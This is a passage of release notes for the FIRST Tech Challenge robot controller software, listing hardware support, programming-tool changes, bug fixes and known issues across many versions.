5.1 (20190820-222104) Defines default PIDF parameters for the following motors: REV Core Hex Motor REV 20:1 HD Hex Motor REV 40:1 HD Hex Motor Adds back button when running on a device without a system back button (such as a Control Hub) Allows a REV Control Hub to update the firmware on a REV Expansion Hub via USB Fixes SkyStone issue #9 Fixes ftc_app issue #715 Prevents extra DS User clicks by filtering based on current state. Prevents incorrect DS UI state changes when receiving new OpMode list from RC Adds support for REV Color Sensor V3 Adds a manual-refresh DS Camera Stream for remotely viewing RC camera frames. To show the stream on the DS, initialize but do not run a stream-enabled opmode, select the Camera Stream option in the DS menu, and tap the image to refresh. This feature is automatically enabled when using Vuforia or TFOD—no additional RC configuration is required for typical use cases. To hide the stream, select the same menu item again. Note that gamepads are disabled and the selected opmode cannot be started while the stream is open as a safety precaution. To use custom streams, consult the API docs for CameraStreamServer#setSource and CameraStreamSource. Adds many Star Wars sounds to RobotController resources. Added SKYSTONE Sounds Chooser Sample Program. Switches out startup, connect chimes, and error/warning sounds for Star Wars sounds Updates OnBot Java to use a WebSocket for communication with the robot The OnBot Java page no longer has to do a full refresh when a user switches from editing one file to another Known issues: Camera Stream The Vuforia camera stream inherits the issues present in the phone preview (namely ftc_app issue #574). This problem does not affect the TFOD camera stream even though it receives frames from Vuforia. The orientation of the stream frames may not always match the phone preview. For now, these frames may be rotated manually via a custom CameraStreamSource if desired. OnBotJava Browser back button may not always work correctly It's possible for a build to be queued, but not started. The OnBot Java build console will display a warning if this occurs. A user might not realize they are editing a different file if the user inadvertently switches from one file to another since this switch is now seamless. The name of the currently open file is displayed in the browser tab. Version 5.0 (built on 19.06.14) Support for the REV Robotics Control Hub. Adds a Java preview pane to the Blocks editor. Adds a new offline export feature to the Blocks editor. Display wifi channel in Network circle on Driver Station. Adds calibration for Logitech C270 Updates build tooling and target SDK. Compliance with Google's permissions infrastructure (Required after build tooling update). Keep Alives to mitigate the Motorola wifi scanning problem. Telemetry substitute no longer necessary. Improves Vuforia error reporting. Fixes ftctechnh/ftc_app issues 621, 713. Miscellaneous bug fixes and improvements. Version 4.3 (built on 18.10.31) Includes missing TensorFlow-related libraries and files. Version 4.2 (built on 18.10.30) Includes fix to avoid deadlock situation with WatchdogMonitor which could result in USB communication errors. Comm error appeared to require that user disconnect USB cable and restart the Robot Controller app to recover. robotControllerLog.txt would have error messages that included the words "E RobotCore: lynx xmit lock: #### abandoning lock:" Includes fix to correctly list the parent module address for a REV Robotics Expansion Hub in a configuration (.xml) file. Bug in versions 4.0 and 4.1 would incorrect list the address module for a parent REV Robotics device as "1". If the parent module had a higher address value than the daisy-chained module, then this bug would prevent the Robot Controller from communicating with the downstream Expansion Hub. Added requirement for ACCESS_COARSE_LOCATION to allow a Driver Station running Android Oreo to scan for Wi-Fi Direct devices. Added google() repo to build.gradle because aapt2 must be downloaded from the google() repository beginning with version 3.2 of the Android Gradle Plugin. Important Note: Android Studio users will need to be connected to the Internet the first time build the ftc_app project. Internet connectivity is required for the first build so the appropriate files can be downloaded from the Google repository. Users should not need to be connected to the Internet for subsequent builds. This should also fix buid issue where Android Studio would complain that it "Could not find com.android.tools.lint:lint-gradle:26.1.4" (or similar). Added support for REV Spark Mini motor controller as part of the configuration menu for a servo/PWM port on the REV Expansion Hub. Provide examples for playing audio files in an Op Mode. Block Development Tool Changes Includes a fix for a problem with the Velocity blocks that were reported in the FTC Technology forum (Blocks Programming subforum). Change the "Save completed successfully." message to a white color so it will contrast with a green background. Fixed the "Download image" feature so it will work if there are text blocks in the op mode. Introduce support for Google's TensorFlow Lite technology for object detetion for 2018-2019 game. TensorFlow lite can recognize Gold Mineral and Silver Mineral from 2018-2019 game. Example Java and Block op modes are included to show how to determine the relative position of the gold block (left, center, right). Version 4.1 (released on 18.09.24) Changes include: Fix to prevent crash when deprecated configuration annotations are used. Change to allow FTC Robot Controller APK to be auto-updated using FIRST Global Control Hub update scripts. Removed samples for non supported / non legal hardware. Improvements to Telemetry.addData block with "text" socket. Updated Blocks sample op mode list to include Rover Ruckus Vuforia example. Update SDK library version number. Version 4.0 (released on 18.09.12) Changes include: Initial support for UVC compatible cameras If UVC camera has a unique serial number, RC will detect and enumerate by serial number. If UVC camera lacks a unique serial number, RC will only support one camera of that type connected. Calibration settings for a few cameras are included (see TeamCode/src/main/res/xml/teamwebcamcalibrations.xml for details). User can upload calibration files from Program and Manage web interface. UVC cameras seem to draw a fair amount of electrical current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. Updated sample Vuforia Navigation and VuMark Op Modes to demonstrate how to use an internal phone-based camera and an external UVC webcam. Support for improved motor control. REV Robotics Expansion Hub firmware 1.8 and greater will support a feed forward mechanism for closed loop motor control. FTC SDK has been modified to support PIDF coefficients (proportional, integral, derivative, and feed forward). FTC Blocks development tool modified to include PIDF programming blocks. Deprecated older PID-related methods and variables. REV's 1.8.x PIDF-related changes provide a more linear and accurate way to control a motor. Wireless Added 5GHz support for wireless channel changing for those devices that support it. Tested with Moto G5 and E4 phones. Also tested with other (currently non-approved) phones such as Samsung Galaxy S8. Improved Expansion Hub firmware update support in Robot Controller app Changes to make the system more robust during the firmware update process (when performed through Robot Controller app). User no longer has to disconnect a downstream daisy-chained Expansion Hub when updating an Expansion Hub's firmware. If user is updating an Expansion Hub's firmware through a USB connection, he/she does not have to disconnect RS485 connection to other Expansion Hubs. The user still must use a USB connection to update an Expansion Hub's firmware. The user cannot update the Expansion Hub firmware for a downstream device that is daisy chained through an RS485 connection. If an Expansion Hub accidentally gets "bricked" the Robot Controller app is now more likely to recognize the Hub when it scans the USB bus. Robot Controller app should be able to detect an Expansion Hub, even if it accidentally was bricked in a previous update attempt. Robot Controller app should be able to install the firmware onto the Hub, even if if accidentally was bricked in a previous update attempt. Resiliency FTC software can detect and enable an FTDI reset feature that is available with REV Robotics v1.8 Expansion Hub firmware and greater. When enabled, the Expansion Hub can detect if it hasn't communicated with the Robot Controller over the FTDI (USB) connection. If the Hub hasn't heard from the Robot Controller in a while, it will reset the FTDI connection. This action helps system recover from some ESD-induced disruptions. Various fixes to improve reliability of FTC software. Blocks Fixed errors with string and list indices in blocks export to java. Support for USB connected UVC webcams. Refactored optimized Blocks Vuforia code to support Rover Ruckus image targets. Added programming blocks to support PIDF (proportional, integral, derivative and feed forward) motor control. Added formatting options (under Telemetry and Miscellaneous categories) so user can set how many decimal places to display a numerical value. Support to play audio files (which are uploaded through Blocks web interface) on Driver Station in addition to the Robot Controller. Fixed bug with Download Image of Blocks feature. Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Added blocks for DcMotorEx methods. These are enhanced methods that you can use when supported by the motor controller hardware. The REV Robotics Expansion Hub supports these enhanced methods. Enhanced methods include methods to get/set motor velocity (in encoder pulses per second), get/set PIDF coefficients, etc.. Modest Improvements in Logging Decrease frequency of battery checker voltage statements. Removed non-FTC related log statements (wherever possible). Introduced a "Match Logging" feature. Under "Settings" a user can enable/disable this feature (it's disabled by default). If enabled, user provides a "Match Number" through the Driver Station user interface (top of the screen). The Match Number is used to create a log file specifically with log statements from that particular Op Mode run. Match log files are stored in /sdcard/FIRST/matlogs on the Robot Controller. Once an op mode run is complete, the Match Number is cleared. This is a convenient way to create a separate match log with statements only related to a specific op mode run. New Devices Support for REV Robotics Blinkin LED Controller. Support for REV Robotics 2m Distance Sensor. Added configuration option for REV 20:1 HD Hex Motor. Added support for a REV Touch Sensor (no longer have to configure as a generic digital device). Miscellaneous Fixed some errors in the definitions for acceleration and velocity in our javadoc documentation. Added ability to play audio files on Driver Station When user is configuring an Expansion Hub, the LED on the Expansion Hub will change blink pattern (purple-cyan) to indicate which Hub is currently being configured. Renamed I2cSensorType to I2cDeviceType. Added an external sample Op Mode that demonstrates localization using 2018-2019 (Rover Ruckus presented by QualComm) Vuforia targets. Added an external sample Op Mode that demonstrates how to use the REV Robotics 2m Laser Distance Sensor. Added an external sample Op Mode that demonstrates how to use the REV Robotics Blinkin LED Controller. Re-categorized external Java sample Op Modes to "TeleOp" instead of "Autonomous". Known issues: Initial support for UVC compatible cameras UVC cameras seem to draw significant amount of current from the USB bus. This does not appear to present any problems for the REV Robotics Control Hub. This does seem to create stability problems when using some cameras with an Android phone-based Robot Controller. FTC Tech Team is investigating options to mitigate this issue with the phone-based Robot Controllers. There might be a possible deadlock which causes the RC to become unresponsive when using a UVC webcam with a Nougat Android Robot Controller. Wireless When user selects a wireless channel, this channel does not necessarily persist if the phone is power cycled. Tech Team is hoping to eventually address this issue in a future release. Issue has been present since apps were introduced (i.e., it is not new with the v4.0 release). Wireless channel is not currently displayed for WiFi Direct connections. Miscellaneous The blink indication feature that shows which Expansion Hub is currently being configured does not work for a newly created configuration file. User has to first save a newly created configuration file and then close and re-edit the file in order for blink indicator to work. Version 3.6 (built on 17.12.18) Changes include: Blocks Changes Uses updated Google Blockly software to allow users to edit their op modes on Apple iOS devices (including iPad and iPhone). Improvement in Blocks tool to handle corrupt op mode files. Autonomous op modes should no longer get switched back to tele-op after re-opening them to be edited. The system can now detect type mismatches during runtime and alert the user with a message on the Driver Station. Updated javadoc documentation for setPower() method to reflect correct range of values (-1 to +1). Modified VuforiaLocalizerImpl to allow for user rendering of frames Added a user-overrideable onRenderFrame() method which gets called by the class's renderFrame() method. Version 3.5 (built on 17.10.30) Changes with version 3.5 include: Introduced a fix to prevent random op mode stops, which can occur after the Robot Controller app has been paused and then resumed (for example, when a user temporarily turns off the display of the Robot Controller phone, and then turns the screen back on). Introduced a fix to prevent random op mode stops, which were previously caused by random peer disconnect events on the Driver Station. Fixes issue where log files would be closed on pause of the RC or DS, but not re-opened upon resume. Fixes issue with battery handler (voltage) start/stop race. Fixes issue where Android Studio generated op modes would disappear from available list in certain situations. Fixes problem where OnBot Java would not build on REV Robotics Control Hub. Fixes problem where OnBot Java would not build if the date and time on the Robot Controller device was "rewound" (set to an earlier date/time). Improved error message on OnBot Java that occurs when renaming a file fails. Removed unneeded resources from android.jar binaries used by OnBot Java to reduce final size of Robot Controller app. Added MR_ANALOG_TOUCH_SENSOR block to Blocks Programming Tool. Version 3.4 (built on 17.09.06) Changes with version 3.4 include: Added telemetry.update() statement for BlankLinearOpMode template. Renamed sample Block op modes to be more consistent with Java samples. Added some additional sample Block op modes. Reworded OnBot Java readme slightly. Version 3.3 (built on 17.09.04) This version of the software includes improves for the FTC Blocks Programming Tool and the OnBot Java Programming Tool. Changes with verion 3.3 include: Android Studio ftc_app project has been updated to use Gradle Plugin 2.3.3. Android Studio ftc_app project is already using gradle 3.5 distribution. Robot Controller log has been renamed to /sdcard/RobotControllerLog.txt (note that this change was actually introduced w/ v3.2). Improvements in I2C reliability. Optimized I2C read for REV Expansion Hub, with v1.7 firmware or greater. Updated all external/samples (available through OnBot and in Android project folder). Vuforia Added support for VuMarks that will be used for the 2017-2018 season game. Blocks Update to latest Google Blockly release. Sample op modes can be selected as a template when creating new op mode. Fixed bug where the blocks would disappear temporarily when mouse button is held down. Added blocks for Range.clip and Range.scale. User can now disable/enable Block op modes. Fix to prevent occasional Blocks deadlock. OnBot Java Significant improvements with autocomplete function for OnBot Java editor. Sample op modes can be selected as a template when creating new op mode. Fixes and changes to complete hardware setup feature. Updated (and more useful) onBot welcome message. Known issues: Android Studio After updating to the new v3.3 Android Studio project folder, if you get error messages indicating "InvalidVirtualFileAccessException" then you might need to do a File->Invalidate Caches / Restart to clear the error. OnBot Java Sometimes when you push the build button to build all op modes, the RC returns an error message that the build failed. If you press the build button a second time, the build typically suceeds. Version 3.2 (built on 17.08.02) This version of the software introduces the "OnBot Java" Development Tool. Similar to the FTC Blocks Development Tool, the FTC OnBot Java Development Tool allows a user to create, edit and build op modes dynamically using only a Javascript-enabled web browser. The OnBot Java Development Tool is an integrated development environment (IDE) that is served up by the Robot Controller. Op modes are created and edited using a Javascript-enabled browser (Google Chromse is recommended). Op modes are saved on the Robot Controller Android device directly. The OnBot Java Development Tool provides a Java programming environment that does NOT need Android Studio. Changes with version 3.2 include: Enhanced web-based development tools Introduction of OnBot Java Development Tool. Web-based programming and management features are "always on" (user no longer needs to put Robot Controller into programming mode). Web-based management interface (where user can change Robot Controller name and also easily download Robot Controller log file). OnBot Java, Blocks and Management features available from web based interface. Blocks Programming Development Tool: Changed "LynxI2cColorRangeSensor" block to "REV Color/range sensor" block. Fixed tooltip for ColorSensor.isLightOn block. Added blocks for ColorSensor.getNormalizedColors and LynxI2cColorRangeSensor.getNormalizedColors. Added example op modes for digital touch sensor and REV Robotics Color Distance sensor. User selectable color themes. Includes many minor enhancements and fixes (too numerous to list). Known issues: Auto complete function is incomplete and does not support the following (for now): Access via this keyword Access via super keyword Members of the super cloass, not overridden by the class Any methods provided in the current class Inner classes Can't handle casted objects Any objects coming from an parenthetically enclosed expression Version 3.10 (built on 17.05.09) This version of the software provides support for the REV Robotics Expansion Hub. This version also includes improvements in the USB communication layer in an effort to enhance system resiliency. If you were using a 2.x version of the software previously, updating to version 3.1 requires that you also update your Driver Station software in addition to updating the Robot Controller software. Also note that in version 3.10 software, the setMaxSpeed and getMaxSpeed methods are no longer available (not deprecated, they have been removed from the SDK). Also note that the the new 3.x software incorporates motor profiles that a user can select as he/she configures the robot. Changes include: Blocks changes Added VuforiaTrackableDefaultListener.getPose and Vuforia.trackPose blocks. Added optimized blocks support for Vuforia extended tracking. Added atan2 block to the math category. Added useCompetitionFieldTargetLocations parameter to Vuforia.initialize block. If set to false, the target locations are placed at (0,0,0) with target orientation as specified in https://github.com/gearsincorg/FTCVuforiaDemo/blob/master/Robot_Navigation.java tutorial op mode. Incorporates additional improvements to USB comm layer to improve system resiliency (to recover from a greater number of communication disruptions). Additional Notes Regarding Version 3.00 (built on 17.04.13) In addition to the release changes listed below (see section labeled "Version 3.00 (built on 17.04.013)"), version 3.00 has the following important changes: Version 3.00 software uses a new version of the FTC Robocol (robot protocol). If you upgrade to v3.0 on the Robot Controller and/or Android Studio side, you must also upgrade the Driver Station software to match the new Robocol. Version 3.00 software removes the setMaxSpeed and getMaxSpeed methods from the DcMotor class. If you have an op mode that formerly used these methods, you will need to remove the references/calls to these methods. Instead, v3.0 provides the max speed information through the use of motor profiles that are selected by the user during robot configuration. Version 3.00 software currently does not have a mechanism to disable extra i2c sensors. We hope to re-introduce this function with a release in the near future. Version 3.00 (built on 17.04.13) *** Use this version of the software at YOUR OWN RISK!!! *** This software is being released as an "alpha" version. Use this version at your own risk! This pre-release software contains SIGNIFICANT changes, including changes to the Wi-Fi Direct pairing mechanism, rewrites of the I2C sensor classes, changes to the USB/FTDI layer, and the introduction of support for the REV Robotics Expansion Hub and the REV Robotics color-range-light sensor. These changes were implemented to improve the reliability and resiliency of the FTC control system. Please note, however, that version 3.00 is considered "alpha" code. This code is being released so that the FIRST community will have an opportunity to test the new REV Expansion Hub electronics module when it becomes available in May. The developers do not recommend using this code for critical applications (i.e., competition use). *** Use this version of the software at YOUR OWN RISK!!! *** Changes include: Major rework of sensor-related infrastructure. Includes rewriting sensor classes to implement synchronous I2C communication. Fix to reset Autonomous timer back to 30 seconds. Implementation of specific motor profiles for approved 12V motors (includes Tetrix, AndyMark, Matrix and REV models). Modest improvements to enhance Wi-Fi P2P pairing. Fixes telemetry log addition race. Publishes all the sources (not just a select few). Includes Block programming improvements Addition of optimized Vuforia blocks. Auto scrollbar to projects and sounds pages. Fixed blocks paste bug. Blocks execute after while-opModeIsActive loop (to allow for cleanup before exiting op mode). Added gyro integratedZValue block. Fixes bug with projects page for Firefox browser. Added IsSpeaking block to AndroidTextToSpeech. Implements support for the REV Robotics Expansion Hub Implements support for integral REV IMU (physically installed on I2C bus 0, uses same Bosch BNO055 9 axis absolute orientation sensor as Adafruit 9DOF abs orientation sensor). - Implements support for REV color/range/light sensor. Provides support to update Expansion Hub firmware through FTC SDK. Detects REV firmware version and records in log file. Includes support for REV Control Hub (note that the REV Control Hub is not yet approved for FTC use). Implements FTC Blocks programming support for REV Expansion Hub and sensor hardware. Detects and alerts when I2C device disconnect. Version 2.62 (built on 17.01.07) Added null pointer check before calling modeToByte() in finishModeSwitchIfNecessary method for ModernRoboticsUsbDcMotorController class. Changes to enhance Modern Robotics USB protocol robustness. Version 2.61 (released on 16.12.19) Blocks Programming mode changes: Fix to correct issue when an exception was thrown because an OpticalDistanceSensor object appears twice in the hardware map (the second time as a LightSensor). Version 2.6 (released on 16.12.16) Fixes for Gyro class: Improve (decrease) sensor refresh latency. fix isCalibrating issues. Blocks Programming mode changes: Blocks now ignores a device in the configuration xml if the name is empty. Other devices work in configuration work fine. Version 2.5 (internal release on released on 16.12.13) Blocks Programming mode changes: Added blocks support for AdafruitBNO055IMU. Added Download Op Mode button to FtcBocks.html. Added support for copying blocks in one OpMode and pasting them in an other OpMode. The clipboard content is stored on the phone, so the programming mode server must be running. Modified Utilities section of the toolbox. In Programming Mode, display information about the active connections. Fixed paste location when workspace has been scrolled. Added blocks support for the android Accelerometer. Fixed issue where Blocks Upload Op Mode truncated name at first dot. Added blocks support for Android SoundPool. Added type safety to blocks for Acceleration. Added type safety to blocks for AdafruitBNO055IMU.Parameters. Added type safety to blocks for AnalogInput. Added type safety to blocks for AngularVelocity. Added type safety to blocks for Color. Added type safety to blocks for ColorSensor. Added type safety to blocks for CompassSensor. Added type safety to blocks for CRServo. Added type safety to blocks for DigitalChannel. Added type safety to blocks for ElapsedTime. Added type safety to blocks for Gamepad. Added type safety to blocks for GyroSensor. Added type safety to blocks for IrSeekerSensor. Added type safety to blocks for LED. Added type safety to blocks for LightSensor. Added type safety to blocks for LinearOpMode. Added type safety to blocks for MagneticFlux. Added type safety to blocks for MatrixF. Added type safety to blocks for MrI2cCompassSensor. Added type safety to blocks for MrI2cRangeSensor. Added type safety to blocks for OpticalDistanceSensor. Added type safety to blocks for Orientation. Added type safety to blocks for Position. Added type safety to blocks for Quaternion. Added type safety to blocks for Servo. Added type safety to blocks for ServoController. Added type safety to blocks for Telemetry. Added type safety to blocks for Temperature. Added type safety to blocks for TouchSensor. Added type safety to blocks for UltrasonicSensor. Added type safety to blocks for VectorF. Added type safety to blocks for Velocity. Added type safety to blocks for VoltageSensor. Added type safety to blocks for VuforiaLocalizer.Parameters. Added type safety to blocks for VuforiaTrackable. Added type safety to blocks for VuforiaTrackables. Added type safety to blocks for enums in AdafruitBNO055IMU.Parameters. Added type safety to blocks for AndroidAccelerometer, AndroidGyroscope, AndroidOrientation, and AndroidTextToSpeech. Version 2.4 (released on 16.11.13) Fix to avoid crashing for nonexistent resources. Blocks Programming mode changes: Added blocks to support OpenGLMatrix, MatrixF, and VectorF. Added blocks to support AngleUnit, AxesOrder, AxesReference, CameraDirection, CameraMonitorFeedback, DistanceUnit, and TempUnit. Added blocks to support Acceleration. Added blocks to support LinearOpMode.getRuntime. Added blocks to support MagneticFlux and Position. Fixed typos. Made blocks for ElapsedTime more consistent with other objects. Added blocks to support Quaternion, Velocity, Orientation, AngularVelocity. Added blocks to support VuforiaTrackables, VuforiaTrackable, VuforiaLocalizer, VuforiaTrackableDefaultListener. Fixed a few blocks. Added type checking to new blocks. Updated to latest blockly. Added default variable blocks to navigation and matrix blocks. Fixed toolbox entry for openGLMatrix_rotation_withAxesArgs. When user downloads Blocks-generated op mode, only the .blk file is downloaded. When user uploads Blocks-generated op mode (.blk file), Javascript code is auto generated. Added DbgLog support. Added logging when a blocks file is read/written. Fixed bug to properly render blocks even if missing devices from configuration file. Added support for additional characters (not just alphanumeric) for the block file names (for download and upload). Added support for OpMode flavor (“Autonomous” or “TeleOp”) and group. Changes to Samples to prevent tutorial issues. Incorporated suggested changes from public pull 216 (“Replace .. paths”). Remove Servo Glitches when robot stopped. if user hits “Cancels” when editing a configuration file, clears the unsaved changes and reverts to original unmodified configuration. Added log info to help diagnose why the Robot Controller app was terminated (for example, by watch dog function). Added ability to transfer log from the controller. Fixed inconsistency for AngularVelocity Limit unbounded growth of data for telemetry. If user does not call telemetry.update() for LinearOpMode in a timely manner, data added for telemetry might get lost if size limit is exceeded. Version 2.35 (released on 16.10.06) Blockly programming mode - Removed unnecesary idle() call from blocks for new project. Version 2.30 (released on 16.10.05) Blockly programming mode: Mechanism added to save Blockly op modes from Programming Mode Server onto local device To avoid clutter, blocks are displayed in categorized folders Added support for DigitalChannel Added support for ModernRoboticsI2cCompassSensor Added support for ModernRoboticsI2cRangeSensor Added support for VoltageSensor Added support for AnalogInput Added support for AnalogOutput Fix for CompassSensor setMode block Vuforia Fix deadlock / make camera data available while Vuforia is running. Update to Vuforia 6.0.117 (recommended by Vuforia and Google to close security loophole). Fix for autonomous 30 second timer bug (where timer was in effect, even though it appeared to have timed out). opModeIsActive changes to allow cleanup after op mode is stopped (with enforced 2 second safety timeout). Fix to avoid reading i2c twice. Updated sample Op Modes. Improved logging and fixed intermittent freezing. Added digital I/O sample. Cleaned up device names in sample op modes to be consistent with Pushbot guide. Fix to allow use of IrSeekerSensorV3. Version 2.20 (released on 16.09.08) Support for Modern Robotics Compass Sensor. Support for Modern Robotics Range Sensor. Revise device names for Pushbot templates to match the names used in Pushbot guide. Fixed bug so that IrSeekerSensorV3 device is accessible as IrSeekerSensor in hardwareMap. Modified computer vision code to require an individual Vuforia license (per legal requirement from PTC). Minor fixes. Blockly enhancements: Support for Voltage Sensor. Support for Analog Input. Support for Analog Output. Support for Light Sensor. Support for Servo Controller. Version 2.10 (released on 16.09.03) Support for Adafruit IMU. Improvements to ModernRoboticsI2cGyro class Block on reset of z axis. isCalibrating() returns true while gyro is calibration. Updated sample gyro program. Blockly enhancements support for android.graphics.Color. added support for ElapsedTime. improved look and legibility of blocks. support for compass sensor. support for ultrasonic sensor. support for IrSeeker. support for LED. support for color sensor. support for CRServo prompt user to configure robot before using programming mode. Provides ability to disable audio cues. various bug fixes and improvements. Version 2.00 (released on 16.08.19) This is the new release for the upcoming 2016-2017 FIRST Tech Challenge Season. Channel change is enabled in the FTC Robot Controller app for Moto G 2nd and 3rd Gen phones. Users can now use annotations to register/disable their Op Modes. Changes in the Android SDK, JDK and build tool requirements (minsdk=19, java 1.7, build tools 23.0.3). Standardized units in analog input. Cleaned up code for existing analog sensor classes. setChannelMode and getChannelMode were REMOVED from the DcMotorController class. This is important - we no longer set the motor modes through the motor controller. setMode and getMode were added to the DcMotor class. ContinuousRotationServo class has been added to the FTC SDK. Range.clip() method has been overloaded so it can support this operation for int, short and byte integers. Some changes have been made (new methods added) on how a user can access items from the hardware map. Users can now set the zero power behavior for a DC motor so that the motor will brake or float when power is zero. Prototype Blockly Programming Mode has been added to FTC Robot Controller. Users can place the Robot Controller into this mode, and then use a device (such as a laptop) that has a Javascript enabled browser to write Blockly-based Op Modes directly onto the Robot Controller. Users can now configure the robot remotely through the FTC Driver Station app. Android Studio project supports Android Studio 2.1.x and compile SDK Version 23 (Marshmallow). Vuforia Computer Vision SDK integrated into FTC SDK. Users can use sample vision targets to get localization information on a standard FTC field. Project structure has been reorganized so that there is now a TeamCode package that users can use to place their local/custom Op Modes into this package. Inspection function has been integrated into the FTC Robot Controller and Driver Station Apps (Thanks Team HazMat… 9277 & 10650!). Audio cues have been incorporated into FTC SDK. Swap mechanism added to FTC Robot Controller configuration activity. For example, if you have two motor controllers on a robot, and you misidentified them in your configuration file, you can use the Swap button to swap the devices within the configuration file (so you do not have to manually re-enter in the configuration info for the two devices). Fix mechanism added to all user to replace an electronic module easily. For example, suppose a servo controller dies on your robot. You replace the broken module with a new module, which has a different serial number from the original servo controller. You can use the Fix button to automatically reconfigure your configuration file to use the serial number of the new module. Improvements made to fix resiliency and responsiveness of the system. For LinearOpMode the user now must for a telemetry.update() to update the telemetry data on the driver station. This update() mechanism ensures that the driver station gets the updated data properly and at the same time. The Auto Configure function of the Robot Controller is now template based. If there is a commonly used robot configuration, a template can be created so that the Auto Configure mechanism can be used to quickly configure a robot of this type. The logic to detect a runaway op mode (both in the LinearOpMode and OpMode types) and to abort the run, then auto recover has been improved/implemented. Fix has been incorporated so that Logitech F310 gamepad mappings will be correct for Marshmallow users. Release 16.07.08 For the ftc_app project, the gradle files have been modified to support Android Studio 2.1.x. Release 16.03.30 For the MIT App Inventor, the design blocks have new icons that better represent the function of each design component. Some changes were made to the shutdown logic to ensure the robust shutdown of some of our USB services. A change was made to LinearOpMode so as to allow a given instance to be executed more than once, which is required for the App Inventor. Javadoc improved/updated. Release 16.03.09 Changes made to make the FTC SDK synchronous (significant change!) waitOneFullHardwareCycle() and waitForNextHardwareCycle() are no longer needed and have been deprecated. runOpMode() (for a LinearOpMode) is now decoupled from the system's hardware read/write thread. loop() (for an OpMode) is now decoupled from the system's hardware read/write thread. Methods are synchronous. For example, if you call setMode(DcMotorController.RunMode.RESET_ENCODERS) for a motor, the encoder is guaranteed to be reset when the method call is complete. For legacy module (NXT compatible), user no longer has to toggle between read and write modes when reading from or writing to a legacy device. Changes made to enhance reliability/robustness during ESD event. Changes made to make code thread safe. Debug keystore added so that user-generated robot controller APKs will all use the same signed key (to avoid conflicts if a team has multiple developer laptops for example). Firmware version information for Modern Robotics modules are now logged. Changes made to improve USB comm reliability and robustness. Added support for voltage indicator for legacy (NXT-compatible) motor controllers. Changes made to provide auto stop capabilities for op modes. A LinearOpMode class will stop when the statements in runOpMode() are complete. User does not have to push the stop button on the driver station. If an op mode is stopped by the driver station, but there is a run away/uninterruptible thread persisting, the app will log an error message then force itself to crash to stop the runaway thread. Driver Station UI modified to display lowest measured voltage below current voltage (12V battery). Driver Station UI modified to have color background for current voltage (green=good, yellow=caution, red=danger, extremely low voltage). javadoc improved (edits and additional classes). Added app build time to About activity for driver station and robot controller apps. Display local IP addresses on Driver Station About activity. Added I2cDeviceSynchImpl. Added I2cDeviceSync interface. Added seconds() and milliseconds() to ElapsedTime for clarity. Added getCallbackCount() to I2cDevice. Added missing clearI2cPortActionFlag. Added code to create log messages while waiting for LinearOpMode shutdown. Fix so Wifi Direct Config activity will no longer launch multiple times. Added the ability to specify an alternate i2c address in software for the Modern Robotics gyro. Release 16.02.09 Improved battery checker feature so that voltage values get refreshed regularly (every 250 msec) on Driver Station (DS) user interface. Improved software so that Robot Controller (RC) is much more resilient and “self-healing” to USB disconnects: If user attempts to start/restart RC with one or more module missing, it will display a warning but still start up. When running an op mode, if one or more modules gets disconnected, the RC & DS will display warnings,and robot will keep on working in spite of the missing module(s). If a disconnected module gets physically reconnected the RC will auto detect the module and the user will regain control of the recently connected module. Warning messages are more helpful (identifies the type of module that’s missing plus its USB serial number). Code changes to fix the null gamepad reference when users try to reference the gamepads in the init() portion of their op mode. NXT light sensor output is now properly scaled. Note that teams might have to readjust their light threshold values in their op modes. On DS user interface, gamepad icon for a driver will disappear if the matching gamepad is disconnected or if that gamepad gets designated as a different driver. Robot Protocol (ROBOCOL) version number info is displayed in About screen on RC and DS apps. Incorporated a display filter on pairing screen to filter out devices that don’t use the “-“ format. This filter can be turned off to show all WiFi Direct devices. Updated text in License file. Fixed formatting error in OpticalDistanceSensor.toString(). Fixed issue on with a blank (“”) device name that would disrupt WiFi Direct Pairing. Made a change so that the WiFi info and battery info can be displayed more quickly on the DS upon connecting to RC. Improved javadoc generation. Modified code to make it easier to support language localization in the future. Release 16.01.04 Updated compileSdkVersion for apps Prevent Wifi from entering power saving mode removed unused import from driver station Corrrected "Dead zone" joystick code. LED.getDeviceName and .getConnectionInfo() return null apps check for ROBOCOL_VERSION mismatch Fix for Telemetry also has off-by-one errors in its data string sizing / short size limitations error User telemetry output is sorted. added formatting variants to DbgLog and RobotLog APIs code modified to allow for a long list of op mode names. changes to improve thread safety of RobocolDatagramSocket Fix for "missing hardware leaves robot controller disconnected from driver station" error fix for "fast tapping of Init/Start causes problems" (toast is now only instantiated on UI thread). added some log statements for thread life cycle. moved gamepad reset logic inside of initActiveOpMode() for robustness changes made to mitigate risk of race conditions on public methods. changes to try and flag when WiFi Direct name contains non-printable characters. fix to correct race condition between .run() and .close() in ReadWriteRunnableStandard. updated FTDI driver made ReadWriteRunnableStanard interface public. fixed off-by-one errors in Command constructor moved specific hardware implmentations into their own package. moved specific gamepad implemnatations to the hardware library. changed LICENSE file to new BSD version. fixed race condition when shutting down Modern Robotics USB devices. methods in the ColorSensor classes have been synchronized. corrected isBusy() status to reflect end of motion. corrected "back" button keycode. the notSupported() method of the GyroSensor class was changed to protected (it should not be public). Release 15.11.04.001 Added Support for Modern Robotics Gyro. The GyroSensor class now supports the MR Gyro Sensor. Users can access heading data (about Z axis) Users can also access raw gyro data (X, Y, & Z axes). Example MRGyroTest.java op mode included. Improved error messages More descriptive error messages for exceptions in user code. Updated DcMotor API Enable read mode on new address in setI2cAddress Fix so that driver station app resets the gamepads when switching op modes. USB-related code changes to make USB comm more responsive and to display more explicit error messages. Fix so that USB will recover properly if the USB bus returns garbage data. Fix USB initializtion race condition. Better error reporting during FTDI open. More explicit messages during USB failures. Fixed bug so that USB device is closed if event loop teardown method was not called. Fixed timer UI issue Fixed duplicate name UI bug (Legacy Module configuration). Fixed race condition in EventLoopManager. Fix to keep references stable when updating gamepad. For legacy Matrix motor/servo controllers removed necessity of appending "Motor" and "Servo" to controller names. Updated HT color sensor driver to use constants from ModernRoboticsUsbLegacyModule class. Updated MR color sensor driver to use constants from ModernRoboticsUsbDeviceInterfaceModule class. Correctly handle I2C Address change in all color sensors Updated/cleaned up op modes. Updated comments in LinearI2cAddressChange.java example op mode. Replaced the calls to "setChannelMode" with "setMode" (to match the new of the DcMotor method). Removed K9AutoTime.java op mode. Added MRGyroTest.java op mode (demonstrates how to use MR Gyro Sensor). Added MRRGBExample.java op mode (demonstrates how to use 